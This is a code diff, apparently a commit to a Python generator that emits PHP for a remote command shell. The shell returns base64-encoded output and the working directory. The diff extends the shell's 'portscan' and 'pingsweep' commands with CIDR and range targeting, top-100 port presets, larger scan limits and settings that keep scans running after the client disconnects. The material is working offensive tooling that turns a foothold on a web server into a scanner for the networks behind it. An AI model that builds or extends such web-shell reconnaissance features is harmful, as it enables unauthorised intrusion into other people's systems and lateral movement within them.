@@ -901,7 +901,7 @@ def pdec(param, fallback=None):
901901 f" $__tout_r = trim({ _pdec_timeout } );" ,
902902 f" $__pause_r = trim({ _pdec_pause } );" ,
903903 " if (!$__tg || !$__ps) {" ,
904- " $response = ['stdout' => base64_encode('Usage: portscan <ip[-lastoctet ]> <port[,port|port-port] > [--stealth|--fast] [--timeout N] [--pause N]'), 'cwd' => base64_encode(getcwd())];" ,
904+ " $response = ['stdout' => base64_encode('Usage: portscan <target[,target|cidr|range ]> <port[s]|minimal|web|top20|top100 > [--stealth|--fast] [--timeout N] [--pause N]'), 'cwd' => base64_encode(getcwd())];" ,
905905 " break;" ,
906906 " }" ,
907907 " $__presets = [" ,
@@ -912,24 +912,73 @@ def pdec(param, fallback=None):
912912 " $__pr = $__presets[in_array($__mode, ['fast','stealth']) ? $__mode : 'default'];" ,
913913 " $__timeout = ($__tout_r !== '') ? max(0.05, (float)$__tout_r) : $__pr['t'];" ,
914914 " $__pause_ms = ($__pause_r !== '') ? max(0, (int)$__pause_r) : $__pr['p'];" ,
915+ " // --- IP parsing ---" ,
915916 " $__ips = [];" ,
916- " if (preg_match('/^(\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .)(\\ \\ d{1,3})-(\\ \\ d{1,3})$/', $__tg, $__rm2)) {" ,
917- " for ($__i = (int)$__rm2[2]; $__i <= min((int)$__rm2[3], 254) && count($__ips) < 255; $__i++) $__ips[] = $__rm2[1].$__i;" ,
918- " } else { $__ips[] = $__tg; }" ,
917+ " foreach (array_filter(array_map('trim', explode(',', $__tg))) as $__tg_part) {" ,
918+ " if ($__tg_part === '') continue;" ,
919+ " if (strpos($__tg_part, '/') !== false) {" ,
920+ " [$__cip, $__cbits] = explode('/', $__tg_part, 2);" ,
921+ " $__cbits = min(max((int)$__cbits, 16), 32);" ,
922+ " $__cbase = ip2long($__cip);" ,
923+ " if ($__cbase !== false) {" ,
924+ " $__ccount = 1 << (32 - $__cbits);" ,
925+ " $__cstart = ($__cbase & ~($__ccount - 1)) + 1;" ,
926+ " for ($__ci = 0; $__ci < $__ccount - 2 && count($__ips) < 1024; $__ci++) {" ,
927+ " $__ips[] = long2ip($__cstart + $__ci);" ,
928+ " }" ,
929+ " }" ,
930+ " } elseif (strpos($__tg_part, '-') !== false) {" ,
931+ " [$__r1, $__r2] = explode('-', $__tg_part, 2);" ,
932+ " $__r1 = trim($__r1); $__r2 = trim($__r2);" ,
933+ " if (strpos($__r2, '.') !== false) {" ,
934+ " $__rs = ip2long($__r1); $__re = ip2long($__r2);" ,
935+ " if ($__rs !== false && $__re !== false && $__re >= $__rs) {" ,
936+ " for ($__ri = $__rs; $__ri <= $__re && count($__ips) < 1024; $__ri++) $__ips[] = long2ip($__ri);" ,
937+ " }" ,
938+ " } elseif (preg_match('/^(\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .)(\\ \\ d{1,3})$/', $__r1, $__rm2)) {" ,
939+ " for ($__i = (int)$__rm2[2]; $__i <= min((int)$__r2, 254) && count($__ips) < 1024; $__i++) $__ips[] = $__rm2[1].$__i;" ,
940+ " }" ,
941+ " } else {" ,
942+ " $__ips[] = $__tg_part;" ,
943+ " }" ,
944+ " }" ,
945+ " $__ips = array_values(array_unique($__ips));" ,
946+ " if (!$__ips) {" ,
947+ " $response = ['stdout' => base64_encode('No valid targets parsed from: ' . $__tg), 'cwd' => base64_encode(getcwd())];" ,
948+ " break;" ,
949+ " }" ,
950+ " // --- Port parsing with named presets ---" ,
951+ " $__port_presets = [" ,
952+ " 'minimal' => [22, 80, 443]," ,
953+ " 'web' => [80, 443, 8080, 8443, 8000, 8888, 3000, 5000, 4848, 9200]," ,
954+ " 'top20' => [21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080]," ,
955+ " 'top100' => [7,9,13,21,22,23,25,26,37,53,79,80,81,88,106,110,111,113,119,135,139,143,144,179,199,389,427,443,444,445,465,513,514,515,543,544,548,554,587,631,646,873,990,993,995,1110,1433,1720,1723,1755,1900,2000,2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000,6001,6646,7070,8000,8008,8009,8080,8081,8443,8888,9100,9999,10000,32768,49152,49153,49154,49155,49156,49157]," ,
956+ " ];" ,
919957 " $__ports = [];" ,
920- " foreach (explode(',', $__ps) as $__chunk) {" ,
921- " $__chunk = trim($__chunk);" ,
922- " if (strpos($__chunk, '-') !== false) {" ,
923- " [$__s, $__e] = explode('-', $__chunk, 2);" ,
924- " for ($__p2 = (int)$__s; $__p2 <= min((int)$__e, 65535) && count($__ports) < 100; $__p2++) $__ports[] = $__p2;" ,
925- " } else { $__ports[] = (int)$__chunk; }" ,
958+ " if (isset($__port_presets[$__ps])) {" ,
959+ " $__ports = $__port_presets[$__ps];" ,
960+ " } else {" ,
961+ " foreach (explode(',', $__ps) as $__chunk) {" ,
962+ " $__chunk = trim($__chunk);" ,
963+ " if ($__chunk === '') continue;" ,
964+ " if (strpos($__chunk, '-') !== false) {" ,
965+ " [$__s2, $__e2] = explode('-', $__chunk, 2);" ,
966+ " for ($__p2 = (int)$__s2; $__p2 <= min((int)$__e2, 65535) && count($__ports) < 1000; $__p2++) $__ports[] = $__p2;" ,
967+ " } else { $__ports[] = (int)$__chunk; }" ,
968+ " }" ,
969+ " $__ports = array_values(array_unique(array_filter($__ports, fn($__p2) => $__p2 > 0 && $__p2 <= 65535)));" ,
926970 " }" ,
927- " $__ports = array_unique(array_filter($__ports, fn($__p2) => $__p2 > 0 && $__p2 <= 65535));" ,
928971 " sort($__ports);" ,
929- " if (count($__ips) * count($ __ports) > 500 ) {" ,
930- " $response = ['stdout' => base64_encode('Scan too large (max 500 host:port pairs). Reduce range or port list. '), 'cwd' => base64_encode(getcwd())];" ,
972+ " if (!$ __ports) {" ,
973+ " $response = ['stdout' => base64_encode('No valid ports parsed. Use numbers, ranges (22-100), or presets: minimal web top20 top100 '), 'cwd' => base64_encode(getcwd())];" ,
931974 " break;" ,
932975 " }" ,
976+ " if (count($__ips) * count($__ports) > 2000) {" ,
977+ " $response = ['stdout' => base64_encode('Scan too large (max 2000 host:port pairs). Use --fast for wider scans or reduce range.'), 'cwd' => base64_encode(getcwd())];" ,
978+ " break;" ,
979+ " }" ,
980+ " set_time_limit(0);" ,
981+ " ignore_user_abort(true);" ,
933982 " $__open = []; $__chk = 0;" ,
934983 " foreach ($__ips as $__ip) {" ,
935984 " foreach ($__ports as $__port) {" ,
@@ -954,7 +1003,7 @@ def pdec(param, fallback=None):
9541003 f" $__tout_r = trim({ _pdec_timeout } );" ,
9551004 f" $__pause_r = trim({ _pdec_pause } );" ,
9561005 " if (!$__tg) {" ,
957- " $response = ['stdout' => base64_encode('Usage: pingsweep <ip[-lastoctet ]> [--ports 80,443,22 ] [--stealth|--fast] [--timeout N] [--pause N]'), 'cwd' => base64_encode(getcwd())];" ,
1006+ " $response = ['stdout' => base64_encode('Usage: pingsweep <target[,target|cidr|range ]> [--ports minimal|web|full|N,N ] [--stealth|--fast] [--timeout N] [--pause N]'), 'cwd' => base64_encode(getcwd())];" ,
9581007 " break;" ,
9591008 " }" ,
9601009 " $__presets = [" ,
@@ -965,13 +1014,48 @@ def pdec(param, fallback=None):
9651014 " $__pr = $__presets[in_array($__mode, ['fast','stealth']) ? $__mode : 'default'];" ,
9661015 " $__timeout = ($__tout_r !== '') ? max(0.05, (float)$__tout_r) : $__pr['t'];" ,
9671016 " $__pause_ms = ($__pause_r !== '') ? max(0, (int)$__pause_r) : $__pr['p'];" ,
1017+ " $__probe_presets = ['web' => [80, 443, 8080, 8443], 'minimal' => [22, 80], 'full' => [22, 80, 443, 8080, 3389, 3306, 5432, 6379, 27017]];" ,
9681018 " $__raw_probe = $__probe_r !== '' ? $__probe_r : '80,443,22';" ,
969- " $__probe_ports = array_filter(array_map('intval', explode(',', $__raw_probe)), fn($__p2) => $__p2 > 0 && $__p2 <= 65535);" ,
1019+ " $__probe_ports = isset($__probe_presets[$__raw_probe])" ,
1020+ " ? $__probe_presets[$__raw_probe]" ,
1021+ " : array_filter(array_map('intval', explode(',', $__raw_probe)), fn($__p2) => $__p2 > 0 && $__p2 <= 65535);" ,
9701022 " if (!$__probe_ports) $__probe_ports = [80, 443, 22];" ,
1023+ " $__probe_ports = array_values($__probe_ports);" ,
1024+ " // --- IP parsing ---" ,
9711025 " $__ips = [];" ,
972- " if (preg_match('/^(\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .)(\\ \\ d{1,3})-(\\ \\ d{1,3})$/', $__tg, $__rm2)) {" ,
973- " for ($__i = (int)$__rm2[2]; $__i <= min((int)$__rm2[3], 254) && count($__ips) < 255; $__i++) $__ips[] = $__rm2[1].$__i;" ,
974- " } else { $__ips[] = $__tg; }" ,
1026+ " foreach (array_filter(array_map('trim', explode(',', $__tg))) as $__tg_part) {" ,
1027+ " if ($__tg_part === '') continue;" ,
1028+ " if (strpos($__tg_part, '/') !== false) {" ,
1029+ " [$__cip, $__cbits] = explode('/', $__tg_part, 2);" ,
1030+ " $__cbits = min(max((int)$__cbits, 16), 32);" ,
1031+ " $__cbase = ip2long($__cip);" ,
1032+ " if ($__cbase !== false) {" ,
1033+ " $__ccount = 1 << (32 - $__cbits);" ,
1034+ " $__cstart = ($__cbase & ~($__ccount - 1)) + 1;" ,
1035+ " for ($__ci = 0; $__ci < $__ccount - 2 && count($__ips) < 1024; $__ci++) {" ,
1036+ " $__ips[] = long2ip($__cstart + $__ci);" ,
1037+ " }" ,
1038+ " }" ,
1039+ " } elseif (strpos($__tg_part, '-') !== false) {" ,
1040+ " [$__r1, $__r2] = explode('-', $__tg_part, 2);" ,
1041+ " $__r1 = trim($__r1); $__r2 = trim($__r2);" ,
1042+ " if (strpos($__r2, '.') !== false) {" ,
1043+ " $__rs = ip2long($__r1); $__re = ip2long($__r2);" ,
1044+ " if ($__rs !== false && $__re !== false && $__re >= $__rs) {" ,
1045+ " for ($__ri = $__rs; $__ri <= $__re && count($__ips) < 1024; $__ri++) $__ips[] = long2ip($__ri);" ,
1046+ " }" ,
1047+ " } elseif (preg_match('/^(\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .\\ \\ d{1,3}\\ \\ .)(\\ \\ d{1,3})$/', $__r1, $__rm2)) {" ,
1048+ " for ($__i = (int)$__rm2[2]; $__i <= min((int)$__r2, 254) && count($__ips) < 1024; $__i++) $__ips[] = $__rm2[1].$__i;" ,
1049+ " }" ,
1050+ " } else {" ,
1051+ " $__ips[] = $__tg_part;" ,
1052+ " }" ,
1053+ " }" ,
1054+ " $__ips = array_values(array_unique($__ips));" ,
1055+ " if (!$__ips) {" ,
1056+ " $response = ['stdout' => base64_encode('No valid targets parsed from: ' . $__tg), 'cwd' => base64_encode(getcwd())];" ,
1057+ " break;" ,
1058+ " }" ,
9751059 " $__up = []; $__chk = 0;" ,
9761060 " foreach ($__ips as $__ip) {" ,
9771061 " $__alive = false;" ,
0 commit comments